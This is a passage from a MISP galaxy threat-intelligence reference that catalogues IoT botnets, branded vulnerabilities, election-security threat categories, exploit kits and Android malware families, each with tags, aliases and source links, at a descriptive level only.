similar: misp-galaxy:tool="Gafgyt" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security-center/writeup/2014-100222-5658-99 |
Sora
Big changes on the IoT malware scene. Security researchers have spotted a version of the Mirai IoT malware that can run on a vast range of architectures, and even on Android devices. This Mirai malware strain is called Sora, a strain that was first spotted at the start of the year.Initial versions were nothing out of the ordinary, and Sora’s original author soon moved on to developing the Mirai Owari version, shortly after Sora’s creation.
The tag is: misp-galaxy:botnet="Sora"
Sora is also known as:
-
Mirai Sora
Sora has relationships with:
-
variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
Links |
Torii
we have been observing a new malware strain, which we call Torii, that differs from Mirai and other botnets we know of, particularly in the advanced techniques it uses. The developers of the botnet seek wide coverage and for this purpose they created binaries for multiple CPU architectures, tailoring the malware for stealth and persistence.
The tag is: misp-galaxy:botnet="Torii"
Torii has relationships with:
-
similar: misp-galaxy:malpedia="Torii" with estimative-language:likelihood-probability="likely"
Links |
Persirai
A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.
The tag is: misp-galaxy:botnet="Persirai"
Persirai has relationships with:
-
similar: misp-galaxy:malpedia="Persirai" with estimative-language:likelihood-probability="likely"
Links |
Chalubo
Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we’re calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.
The tag is: misp-galaxy:botnet="Chalubo"
Links |
AESDDoS
Our honeypot sensors recently detected an AESDDoS botnet malware variant (detected by Trend Micro as Backdoor.Linux.AESDDOS.J) exploiting a server-side template injection vulnerability (CVE-2019-3396) in the Widget Connector macro in Atlassian Confluence Server, a collaboration software program used by DevOps professionals.
The tag is: misp-galaxy:botnet="AESDDoS"
Links |
Branded Vulnerability
List of known vulnerabilities and attacks with a branding.
Branded Vulnerability is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Unknown
Meltdown
Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.
The tag is: misp-galaxy:branded-vulnerability="Meltdown"
Spectre
Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.
The tag is: misp-galaxy:branded-vulnerability="Spectre"
Heartbleed
Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug’s name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.
The tag is: misp-galaxy:branded-vulnerability="Heartbleed"
Shellshock
Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
The tag is: misp-galaxy:branded-vulnerability="Shellshock"
Ghost
The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.
The tag is: misp-galaxy:branded-vulnerability="Ghost"
Stagefright
Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim’s device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn’t have to do anything to ‘accept’ the bug, it happens in the background. The phone number is the only target information.
The tag is: misp-galaxy:branded-vulnerability="Stagefright"
Badlock
Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.
The tag is: misp-galaxy:branded-vulnerability="Badlock"
Dirty COW
Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel’s memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.
The tag is: misp-galaxy:branded-vulnerability="Dirty COW"
POODLE
The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryptio") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014" ). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.
The tag is: misp-galaxy:branded-vulnerability="POODLE"
BadUSB
The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.
The tag is: misp-galaxy:branded-vulnerability="BadUSB"
ImageTragick
The tag is: misp-galaxy:branded-vulnerability="ImageTragick"
Blacknurse
Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.
The tag is: misp-galaxy:branded-vulnerability="Blacknurse"
SPOILER
SPOILER is a security vulnerability on modern computer central processing units that uses speculative execution to improve the efficiency of Rowhammer and other related memory and cache attacks. According to reports, all modern Intel CPUs are vulnerable to the attack. AMD has stated that its processors are not vulnerable.
The tag is: misp-galaxy:branded-vulnerability="SPOILER"
Links |
https://www.overclock3d.net/news/cpu_mainboard/spoiler_alert_-intel_cpus_impacted_by_new_vulnerability/1[https://www.overclock3d.net/news/cpu_mainboard/spoiler_alert-_intel_cpus_impacted_by_new_vulnerability/1] |
https://www.1e.com/news-insights/blogs/the-spoiler-vulnerability/ |
BlueKeep
A ‘wormable’ critical Remote Code Execution (RCE) vulnerability in Remote Desktop Services that could soon become the new go-to vector for spreading malware
The tag is: misp-galaxy:branded-vulnerability="BlueKeep"
Links |
https://www.welivesecurity.com/2019/05/22/patch-now-bluekeep-vulnerability/ |
Cert EU GovSector
Cert EU GovSector.
Cert EU GovSector is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
Constituency
The tag is: misp-galaxy:cert-eu-govsector="Constituency"
EU-Centric
The tag is: misp-galaxy:cert-eu-govsector="EU-Centric"
EU-nearby
The tag is: misp-galaxy:cert-eu-govsector="EU-nearby"
World-class
The tag is: misp-galaxy:cert-eu-govsector="World-class"
Unknown
The tag is: misp-galaxy:cert-eu-govsector="Unknown"
Outside World
The tag is: misp-galaxy:cert-eu-govsector="Outside World"
Election guidelines
Universal Development and Security Guidelines as Applicable to Election Technology..
Election guidelines is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
NIS Cooperation Group
Tampering with registrations
Tampering with registrations
The tag is: misp-galaxy:guidelines="Tampering with registrations"
Links |
DoS or overload of party/campaign registration, causing them to miss the deadline
DoS or overload of party/campaign registration, causing them to miss the deadline
The tag is: misp-galaxy:guidelines="DoS or overload of party/campaign registration, causing them to miss the deadline"
Links |
Fabricated signatures from sponsor
Fabricated signatures from sponsor
The tag is: misp-galaxy:guidelines="Fabricated signatures from sponsor"
Links |
Identity fraud during voter registration
Identity fraud during voter registration
The tag is: misp-galaxy:guidelines="Identity fraud during voter registration"
Links |
Deleting or tampering with voter data
Deleting or tampering with voter data
The tag is: misp-galaxy:guidelines="Deleting or tampering with voter data"
Links |
DoS or overload of voter registration system, suppressing voters
DoS or overload of voter registration system, suppressing voters
The tag is: misp-galaxy:guidelines="DoS or overload of voter registration system, suppressing voters"
Links |
Hacking candidate laptops or email accounts
Hacking candidate laptops or email accounts
The tag is: misp-galaxy:guidelines="Hacking candidate laptops or email accounts"
Links |
Hacking campaign websites (defacement, DoS)
Hacking campaign websites (defacement, DoS)
The tag is: misp-galaxy:guidelines="Hacking campaign websites (defacement, DoS)"
Links |
Misconfiguration of a website
Misconfiguration of a website
The tag is: misp-galaxy:guidelines="Misconfiguration of a website"
Links |
Leak of confidential information
Leak of confidential information
The tag is: misp-galaxy:guidelines="Leak of confidential information"
Links |
Hacking/misconfiguration of government servers, communication networks, or endpoints
Hacking/misconfiguration of government servers, communication networks, or endpoints
The tag is: misp-galaxy:guidelines="Hacking/misconfiguration of government servers, communication networks, or endpoints"
Links |
Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results
Hacking government websites, spreading misinformation on the election process, registered parties/candidates, or results
The tag is: misp-galaxy:guidelines="Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results"
Links |
DoS or overload of government websites
DoS or overload of government websites
The tag is: misp-galaxy:guidelines="DoS or overload of government websites"
Links |
Tampering or DoS of voting and/or vote confidentiality during or after the elections
Tampering or DoS of voting and/or vote confidentiality during or after the elections
The tag is: misp-galaxy:guidelines="Tampering or DoS of voting and/or vote confidentiality during or after the elections"
Links |
Software bug altering results
Software bug altering results
The tag is: misp-galaxy:guidelines="Software bug altering results"
Links |
Tampering with logs/journals
Tampering with logs/journals
The tag is: misp-galaxy:guidelines="Tampering with logs/journals"
Links |
Breach of voters privacy during the casting of votes
Breach of voters privacy during the casting of votes
The tag is: misp-galaxy:guidelines="Breach of voters privacy during the casting of votes"
Links |
Tampering, DoS or overload of the systems used for counting or aggregating results
Tampering, DoS or overload of the systems used for counting or aggregating results
The tag is: misp-galaxy:guidelines="Tampering, DoS or overload of the systems used for counting or aggregating results"
Links |
Tampering or DoS of communication links uesd to transfer (interim) results
Tampering or DoS of communication links uesd to transfer (interim) results
The tag is: misp-galaxy:guidelines="Tampering or DoS of communication links uesd to transfer (interim) results"
Links |
Tampering with supply chain involved in the movement or transfer data
Tampering with supply chain involved in the movement or transfer data
The tag is: misp-galaxy:guidelines="Tampering with supply chain involved in the movement or transfer data"
Links |
Hacking of internal systems used by media or press
Hacking of internal systems used by media or press
The tag is: misp-galaxy:guidelines="Hacking of internal systems used by media or press"
Links |
Tampering, DoS, or overload of media communication links
Tampering, DoS, or overload of media communication links
The tag is: misp-galaxy:guidelines="Tampering, DoS, or overload of media communication links"
Links |
Defacement, DoS or overload of websites or other systems used for publication of the results
Defacement, DoS or overload of websites or other systems used for publication of the results
The tag is: misp-galaxy:guidelines="Defacement, DoS or overload of websites or other systems used for publication of the results"
Links |
Exploit-Kit
Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits.It’s not meant to be totally exhaustive but aim at covering the most seen in the past 5 years.
Exploit-Kit is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Kafeine - Will Metcalf - KahuSecurity
Astrum
Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It’s notable by its use of Steganography
The tag is: misp-galaxy:exploit-kit="Astrum"
Astrum is also known as:
-
Stegano EK
Links |
Underminer
Underminer EK is an exploit kit that seems to be used privately against users in Asia. Functionalities: browser profiling and filtering, preventing of client revisits, URL randomization, and asymmetric encryption of payloads.
The tag is: misp-galaxy:exploit-kit="Underminer"
Underminer is also known as:
-
Underminer EK
Links |
Fallout
Fallout Exploit Kit appeared at the end of August 2018 as an updated Nuclear Pack featuring current exploits seen in competiting Exploit Kit.
The tag is: misp-galaxy:exploit-kit="Fallout"
Fallout is also known as:
-
Fallout
Fallout has relationships with:
-
dropped: misp-galaxy:ransomware="GandCrab" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.nao-sec.org/2018/09/hello-fallout-exploit-kit.html |
Bingo
Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targetting at that times mostly Russia
The tag is: misp-galaxy:exploit-kit="Bingo"
Terror EK
Terror EK is built on Hunter, Sundown and RIG EK code
The tag is: misp-galaxy:exploit-kit="Terror EK"
Terror EK is also known as:
-
Blaze EK
-
Neptune EK
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit—More-like-Error-Exploit-Kit/ |
DealersChoice
DealersChoice is a Flash Player Exploit platform triggered by RTF.
DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants — variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.
The tag is: misp-galaxy:exploit-kit="DealersChoice"
DealersChoice is also known as:
-
Sednit RTF EK
Links |
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ |
DNSChanger
DNSChanger Exploit Kit is an exploit kit targeting Routers via the browser
The tag is: misp-galaxy:exploit-kit="DNSChanger"
DNSChanger is also known as:
-
RouterEK
Links |
http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html |
Novidade
Novidade Exploit Kit is an exploit kit targeting Routers via the browser
The tag is: misp-galaxy:exploit-kit="Novidade"
Novidade is also known as:
-
DNSGhost
Links |
Disdain
Disdain EK has been introduced on underground forum on 2017-08-07. The panel is stolen from Sundown, the pattern are Terror alike and the obfuscation reminds Nebula
The tag is: misp-galaxy:exploit-kit="Disdain"
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/new-disdain-exploit-kit-detected-wild/ |
Kaixin
Kaixin is an exploit kit mainly seen behind compromised website in Asia
The tag is: misp-galaxy:exploit-kit="Kaixin"
Kaixin is also known as:
-
CK vip
Links |
http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/ |
Magnitude
Magnitude EK
The tag is: misp-galaxy:exploit-kit="Magnitude"
Magnitude is also known as:
-
Popads EK
-
TopExp
Links |
http://malware.dontneedcoffee.com/2014/02/and-real-name-of-magnitude-is.html |
MWI
Microsoft Word Intruder is an exploit kit focused on Word and embedded flash exploits. The author wants to avoid their customer to use it in mass spam campaign, so it’s most often connected to semi-targeted attacks
The tag is: misp-galaxy:exploit-kit="MWI"
Links |
https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html |
ThreadKit
ThreadKit is the name given to a widely used Microsoft Office document exploit builder kit that appeared in June 2017
The tag is: misp-galaxy:exploit-kit="ThreadKit"
Links |
VenomKit
VenomKit is the name given to a kit sold since april 2017 as "Word 1day exploit builder" by user badbullzvenom. Author allows only use in targeted campaign. Is used for instance by the "Cobalt Gang"
The tag is: misp-galaxy:exploit-kit="VenomKit"
VenomKit is also known as:
-
Venom
Links |
Taurus Builder
Taurus Builder is a tool used to generate malicious MS Word documents that contain macros. The kit is advertised on forums by the user "badbullzvenom".
The tag is: misp-galaxy:exploit-kit="Taurus Builder"
RIG
RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.
The tag is: misp-galaxy:exploit-kit="RIG"
RIG is also known as:
-
RIG 3
-
RIG-v
-
RIG 4
-
Meadgive
Links |
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html |
Spelevo
Spelevo is an exploit kit that appeared at the end of February 2019 and could be an evolution of SPL EK
The tag is: misp-galaxy:exploit-kit="Spelevo"
Links |
Sednit EK
Sednit EK is the exploit kit used by APT28
The tag is: misp-galaxy:exploit-kit="Sednit EK"
Sednit EK is also known as:
-
SedKit
Links |
http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ |
Sundown-P
Sundown-P/Sundown-Pirate is a rip of Sundown seen used in a private way (One group using it only) - First spotted at the end of June 2017, branded as CaptainBlack in August 2017
The tag is: misp-galaxy:exploit-kit="Sundown-P"
Sundown-P is also known as:
-
Sundown-Pirate
-
CaptainBlack
Links |
Bizarro Sundown
Bizarro Sundown appears to be a fork of Sundown with added anti-analysis features
The tag is: misp-galaxy:exploit-kit="Bizarro Sundown"
Bizarro Sundown is also known as:
-
Sundown-b
Links |
https://blog.malwarebytes.com/cybercrime/exploits/2016/10/yet-another-sundown-ek-variant/ |
Hunter
Hunter EK is an evolution of 3Ros EK
The tag is: misp-galaxy:exploit-kit="Hunter"
Hunter is also known as:
-
3ROS Exploit Kit
Hunter has relationships with:
-
similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"
Links |
GreenFlash Sundown
GreenFlash Sundown is a variation of Bizarro Sundown without landing
The tag is: misp-galaxy:exploit-kit="GreenFlash Sundown"
GreenFlash Sundown is also known as:
-
Sundown-GF
Links |
Angler
The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical "indexm" variant was used to spread Lurk. A vip version used notabily to spread Poweliks, the "standard" commercial version, and a declinaison tied to load selling (mostly bankers) that can be associated to EmpirePPC
The tag is: misp-galaxy:exploit-kit="Angler"
Angler is also known as:
-
XXX
-
AEK
-
Axpergle
Archie
Archie EK
The tag is: misp-galaxy:exploit-kit="Archie"
Links |
https://www.alienvault.com/blogs/labs-research/archie-just-another-exploit-kit |
BlackHole
The BlackHole Exploit Kit has been the most popular exploit kit from 2011 to 2013. Its activity stopped with Paunch’s arrest (all activity since then is anecdotal and based on an old leak)
The tag is: misp-galaxy:exploit-kit="BlackHole"
BlackHole is also known as:
-
BHEK
BlackHole has relationships with:
-
similar: misp-galaxy:rat="BlackHole" with estimative-language:likelihood-probability="likely"
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Blackhole-Exploit-Kit-v2/ |
https://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit/ |
Bleeding Life
Bleeding Life is an exploit kit that became open source with its version 2
The tag is: misp-galaxy:exploit-kit="Bleeding Life"
Bleeding Life is also known as:
-
BL
-
BL2
Links |
http://www.kahusecurity.com/2011/flash-used-in-idol-malvertisement/ |
http://thehackernews.com/2011/10/bleeding-life-2-exploit-pack-released.html |
Cool
The Cool Exploit Kit was a kind of BlackHole VIP in 2012/2013
The tag is: misp-galaxy:exploit-kit="Cool"
Cool is also known as:
-
CEK
-
Styxy Cool
Links |
http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html |
http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/ |
Fiesta
Fiesta Exploit Kit
The tag is: misp-galaxy:exploit-kit="Fiesta"
Fiesta is also known as:
-
NeoSploit
-
Fiexp
Links |
http://blog.0x3a.com/post/110052845124/an-in-depth-analysis-of-the-fiesta-exploit-kit-an |
Empire
The Empire Pack is a variation of RIG operated by a load seller. It’s being fed by many traffic actors
The tag is: misp-galaxy:exploit-kit="Empire"
Empire is also known as:
-
RIG-E
Empire has relationships with:
-
similar: misp-galaxy:tool="Empire" with estimative-language:likelihood-probability="likely"
Links |
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html |
FlashPack
FlashPack EK got multiple fork. The most common variant seen was the standalone Flash version
The tag is: misp-galaxy:exploit-kit="FlashPack"
FlashPack is also known as:
-
FlashEK
-
SafePack
-
CritXPack
-
Vintage Pack
Links |
http://malware.dontneedcoffee.com/2012/11/meet-critxpack-previously-vintage-pack.html |
http://malware.dontneedcoffee.com/2013/04/meet-safe-pack-v20-again.html |
Glazunov
Glazunov is an exploit kit mainly seen behind compromised website in 2012 and 2013. Glazunov compromission is likely the ancestor activity of what became EITest in July 2014. Sibhost and Flimkit later shown similarities with this Exploit Kit
The tag is: misp-galaxy:exploit-kit="Glazunov"
Links |
https://nakedsecurity.sophos.com/2013/06/24/taking-a-closer-look-at-the-glazunov-exploit-kit/ |
GrandSoft
GrandSoft Exploit Kit was a quite common exploit kit used in 2012/2013. Disappeared between march 2014 and September 2017
The tag is: misp-galaxy:exploit-kit="GrandSoft"
GrandSoft is also known as:
-
StampEK
-
SofosFO
HanJuan
Hanjuan EK was a one actor fed variation of Angler EK used in evolved malvertising chain targeting USA. It has been using a 0day (CVE-2015-0313) from beginning of December 2014 till beginning of February 2015
The tag is: misp-galaxy:exploit-kit="HanJuan"
Links |
https://blog.malwarebytes.com/threat-analysis/2014/08/shining-some-light-on-the-unknown-exploit-kit/ |
Himan
Himan Exploit Kit
The tag is: misp-galaxy:exploit-kit="Himan"
Himan is also known as:
-
High Load
Links |
Impact
Impact EK
The tag is: misp-galaxy:exploit-kit="Impact"
Links |
http://malware.dontneedcoffee.com/2012/12/inside-impact-exploit-kit-back-on-track.html |
Infinity
Infinity is an evolution of Redkit
The tag is: misp-galaxy:exploit-kit="Infinity"
Infinity is also known as:
-
Redkit v2.0
-
Goon
Links |
http://blog.talosintel.com/2013/11/im-calling-this-goon-exploit-kit-for-now.html |
http://www.kahusecurity.com/2014/the-resurrection-of-redkit/ |
Lightsout
Lightsout Exploit Kit has been used in Watering Hole attack performed by the APT Group havex
The tag is: misp-galaxy:exploit-kit="Lightsout"
Nebula
Nebula Exploit Kit has been built on Sundown source and features an internal TDS
The tag is: misp-galaxy:exploit-kit="Nebula"
Links |
http://malware.dontneedcoffee.com/2017/03/nebula-exploit-kit.html |
Neutrino
Neutrino Exploit Kit has been one of the major exploit kit from its launch in 2013 till september 2016 when it become private (defense name for this variation is Neutrino-v). This EK vanished from march 2014 till november 2014.
The tag is: misp-galaxy:exploit-kit="Neutrino"
Neutrino is also known as:
-
Job314
-
Neutrino Rebooted
-
Neutrino-v
Neutrino has relationships with:
-
similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"
Links |
http://malware.dontneedcoffee.com/2013/03/hello-neutrino-just-one-more-exploit-kit.html |
http://malware.dontneedcoffee.com/2014/11/neutrino-come-back.html |
Niteris
Niteris was used mainly to target Russian.
The tag is: misp-galaxy:exploit-kit="Niteris"
Niteris is also known as:
-
CottonCastle
Links |
http://malware.dontneedcoffee.com/2015/05/another-look-at-niteris-post.html |
Nuclear
The Nuclear Pack appeared in 2009 and has been one of the longer living one. Spartan EK was a landing less variation of Nuclear Pack
The tag is: misp-galaxy:exploit-kit="Nuclear"
Nuclear is also known as:
-
NEK
-
Nuclear Pack
-
Spartan
-
Neclu
Links |
Phoenix
Phoenix Exploit Kit
The tag is: misp-galaxy:exploit-kit="Phoenix"
Phoenix is also known as:
-
PEK
Links |
http://malwareint.blogspot.fr/2010/09/phoenix-exploits-kit-v21-inside.html |
Private Exploit Pack
Private Exploit Pack
The tag is: misp-galaxy:exploit-kit="Private Exploit Pack"
Private Exploit Pack is also known as:
-
PEP
Links |
http://malwageddon.blogspot.fr/2013/07/unknown-ek-well-hey-hey-i-wanna-be.html |
Redkit
Redkit has been a major exploit kit in 2012. One of its specific features was to allow its access against a share of a percentage of the customer’s traffic
The tag is: misp-galaxy:exploit-kit="Redkit"
Sakura
Sakura Exploit Kit appeared in 2012 and was adopted by several big actor
The tag is: misp-galaxy:exploit-kit="Sakura"
Links |
SPL
SPL exploit kit was mainly seen in 2012/2013 most often associated with ZeroAccess and Scareware/FakeAV
The tag is: misp-galaxy:exploit-kit="SPL"
SPL is also known as:
-
SPL_Data
-
SPLNet
-
SPL2
Links |
Sundown
Sundown Exploit Kit is mainly built out of stolen code from other exploit kits
The tag is: misp-galaxy:exploit-kit="Sundown"
Sundown is also known as:
-
Beps
-
Xer
-
Beta
Links |
http://malware.dontneedcoffee.com/2015/06/fast-look-at-sundown-ek.html |
Sweet-Orange
Sweet Orange
The tag is: misp-galaxy:exploit-kit="Sweet-Orange"
Sweet-Orange is also known as:
-
SWO
-
Anogre
Links |
http://malware.dontneedcoffee.com/2012/12/juice-sweet-orange-2012-12.html |
Styx
Styx Exploit Kit
The tag is: misp-galaxy:exploit-kit="Styx"
WhiteHole
WhiteHole Exploit Kit appeared in January 2013 in the tail of the CVE-2013-0422
The tag is: misp-galaxy:exploit-kit="WhiteHole"
Links |
http://malware.dontneedcoffee.com/2013/02/briefly-wave-whitehole-exploit-kit-hello.html |
Unknown
Unknown Exploit Kit. This is a place holder for any undocumented Exploit Kit. If you use this tag, we will be more than happy to give the associated EK a deep look.
The tag is: misp-galaxy:exploit-kit="Unknown"
Links |
SpelevoEK
The Spelevo exploit kit seems to have similarities to SPL EK, which is a different exploit kit.
The tag is: misp-galaxy:exploit-kit="SpelevoEK"
Links |
Malpedia
Malware galaxy cluster based on Malpedia..
Malpedia is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Davide Arcuri - Alexandre Dulaunoy - Steffen Enders - Andrea Garavaglia - Andras Iklody - Daniel Plohmann - Christophe Vandeplas
FastCash
The tag is: misp-galaxy:malpedia="FastCash"
FastCash is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash |
https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/ |
AdultSwine
The tag is: misp-galaxy:malpedia="AdultSwine"
AdultSwine is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine |
https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/ |
AndroRAT
Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.
The tag is: misp-galaxy:malpedia="AndroRAT"
AndroRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat |
Anubis
The tag is: misp-galaxy:malpedia="Anubis"
Anubis is also known as:
-
BankBot
AnubisSpy
The tag is: misp-galaxy:malpedia="AnubisSpy"
AnubisSpy is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy |
Asacub
The tag is: misp-galaxy:malpedia="Asacub"
Asacub is also known as:
Links |
https://securelist.com/the-rise-of-mobile-banker-asacub/87591/ |
Bahamut (Android)
The tag is: misp-galaxy:malpedia="Bahamut (Android)"
Bahamut (Android) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut |
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/ |
BianLian
The tag is: misp-galaxy:malpedia="BianLian"
BianLian is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian |
BusyGasper
The tag is: misp-galaxy:malpedia="BusyGasper"
BusyGasper is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.busygasper |
Catelites
Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.
The tag is: misp-galaxy:malpedia="Catelites"
Catelites is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.catelites |
https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang |
Chamois
The tag is: misp-galaxy:malpedia="Chamois"
Chamois is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.chamois |
https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html |
Charger
The tag is: misp-galaxy:malpedia="Charger"
Charger is also known as:
Chrysaor
The tag is: misp-galaxy:malpedia="Chrysaor"
Chrysaor is also known as:
-
JigglyPuff
-
Pegasus
Clientor
The tag is: misp-galaxy:malpedia="Clientor"
Clientor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/apk.clientor |
